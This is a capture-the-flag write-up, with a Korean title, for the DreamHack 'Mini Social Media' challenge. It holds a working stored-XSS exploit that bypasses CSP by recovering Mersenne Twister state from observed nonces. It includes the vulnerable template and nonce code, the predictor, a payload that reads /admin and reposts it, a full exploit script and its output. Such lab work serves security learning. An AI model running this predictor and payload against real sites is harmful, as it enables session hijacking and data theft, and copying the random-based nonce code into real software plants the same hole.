[🥇 Gold 3] CSP nonce를 예측해서 뚫는 stored XSS — DreamHack Mini Social Media 풀이

{# reports.html #}
<p><strong>Report ID:</strong> {{ report[0] }}</p>
<p><strong>Reported By:</strong> {{ report[1] | safe }}</p>
<p><strong>Post Content:</strong> {{ report[2] }}</p>

SELECT Reports.report_id, Users.username AS reporter, Posts.content, Reports.reported_at
FROM Reports
JOIN Users ON Reports.reported_by_user_id = Users.user_id
JOIN Posts ON Reports.post_id = Posts.post_id

@app.after_request
def add_header(response):
    nonce = get_secure_nonce()
    csp = f"default-src 'self'; " \
          f"script-src 'self' 'nonce-{nonce}' 'unsafe-inline'; " \
          f"img-src 'self'; style-src 'self' 'unsafe-inline'; " \
          f"object-src 'none'; base-uri 'none';"
    response.headers['Content-Security-Policy'] = csp
    return response

def get_secure_nonce():
    nonce = 0
    for i in range(4):
        nonce |= random.randint(0, 0xfffffffe) << 32 * i
    return hex(nonce)[2:].zfill(32)

curl -si http://host8.dreamhack.games:18269/login | grep -i content-security-policy

def untemper(y):
    y = _undo_right_shift_xor(y, 18)
    y = _undo_left_shift_xor_mask(y, 15, 0xEFC60000)
    y = _undo_left_shift_xor_mask(y, 7, 0x9D2C5680)
    y = _undo_right_shift_xor(y, 11)
    return y
 
def nonce_to_words(nonce_hex):
    n = int(nonce_hex, 16)
    return [(n >> (32 * i)) & 0xFFFFFFFF for i in range(4)]

class NoncePredictor:
    def __init__(self, observed_nonces):
        words = []
        for nh in observed_nonces:
            words.extend(nonce_to_words(nh))
        state = tuple(untemper(w) for w in words[:624]) + (624,)
        self.rng = random.Random()
        self.rng.setstate((3, state, None))
        # 남는 nonce로 정렬이 맞는지 즉시 검증
        for i in range(624, len(words)):
            assert self.rng.getrandbits(32) == words[i]
 
    def next_nonce(self):
        w = [self.rng.getrandbits(32) for _ in range(4)]
        return format(w[0] | w[1] << 32 | w[2] << 64 | w[3] << 96, 'x').zfill(32)

srv = random.Random()
 
def server_nonce():
    n = 0
    for i in range(4):
        n |= srv.randint(0, 0xfffffffe) << 32 * i
    return format(n, 'x').zfill(32)
 
observed = [server_nonce() for _ in range(160)]
predictor = NoncePredictor(observed)
 
for i in range(5):
    predicted = predictor.next_nonce()
    actual = server_nonce()
    print(f"[{i}] predicted={predicted}  actual={actual}  -> {'MATCH' if predicted == actual else 'MISMATCH'}")

@app.route('/report_post', methods=['POST'])
def post_report_post():
    # ... INSERT Reports ...
    admin_bot.read_reports()           # 봇이 동기적으로 /reports 를 연다
    return render_template('report_completed.html')

fetch('/admin').then(r=>r.text())
  .then(t=>fetch('/create_post',{method:'POST',
    body:new URLSearchParams({postText:t})}))

#!/usr/bin/env python3
import re, sys, time, secrets, requests
from mt_predict import NoncePredictor
 
BASE   = sys.argv[1].rstrip('/')
OFFSET = int(sys.argv[2]) if len(sys.argv) > 2 else 2   # register, login, [reports]
N_COLLECT, N_SANITY = 200, 5
NONCE_RE = re.compile(r"nonce-([0-9a-f]{32})")
 
PAYLOAD = ("fetch('/admin').then(r=>r.text())"
           ".then(t=>fetch('/create_post',{method:'POST',"
           "body:new URLSearchParams({postText:t})}))")
 
def nonce_of(r):  return NONCE_RE.search(r.headers['Content-Security-Policy']).group(1)
def register(s,u,p): return s.post(f'{BASE}/register', data={'newUsername':u,'newPassword':p}, allow_redirects=False)
def login(s,u,p):    return s.post(f'{BASE}/login',    data={'username':u,'password':p},       allow_redirects=False)
def create(s,t):     return s.post(f'{BASE}/create_post', data={'postText':t}, allow_redirects=False)
def report(s,pid):   return s.post(f'{BASE}/report_post', data={'post_id':str(pid)}, allow_redirects=False)
 
def main():
    tag = secrets.token_hex(4)
 
    # 1) 신고할 글 하나 준비 (버리는 계정)
    tw = requests.Session()
    register(tw, f'tw_{tag}', 'pw'); login(tw, f'tw_{tag}', 'pw'); create(tw, 'report-me')
    html = tw.get(f'{BASE}/', allow_redirects=False).text
    post_id = re.findall(r'name="post_id" value="(\d+)"', html)[0]
 
    # 2) nonce 200개 수집(순차 = 연속 워드) → MT 상태 복원
    nonces = [nonce_of(requests.get(f'{BASE}/login', allow_redirects=False)) for _ in range(N_COLLECT)]
    pred = NoncePredictor(nonces)
 
    # 3) 라이브 예측 검증 (예측기 동기화 유지)
    for _ in range(N_SANITY):
        assert pred.next_nonce() == nonce_of(requests.get(f'{BASE}/login', allow_redirects=False))
 
    # 4) 봇 /reports 응답의 nonce를 예측해 username에 박는다
    target = pred.peek_nonces(OFFSET + 2)[OFFSET]
    xss = f'<script nonce="{target}">{PAYLOAD}</script>'
    assert len(xss) <= 255
 
    # 5) register → login → report 3발. report 가 봇의 /reports 를 깨운다
    X = requests.Session()
    register(X, xss, 'pw'); login(X, xss, 'pw'); report(X, post_id)
 
    # 6) admin 이 재게시한 플래그를 피드에서 회수
    for _ in range(20):
        m = re.search(r'DH\{[^}]*\}', tw.get(f'{BASE}/', allow_redirects=False).text)
        if m: print('[+] FLAG:', m.group(0)); return
        time.sleep(1)
 
if __name__ == '__main__':
    main()

[+] MT state recovered & internally verified (800 words synced)
[+] live prediction verified for next 5 responses
[+] target (bot /reports) nonce = e394c3ff1c130124915ecbfec58de052
[+] XSS username (177 chars): <script nonce="e394c3ff1c130124915ecbfec58de052">fetch('/admin')...</script>
[+] report fired; admin bot rendered our username under the predicted nonce
[+] FLAG: DH{e6e701c5:VcbJZsyxrfWdck6i4loUBA==}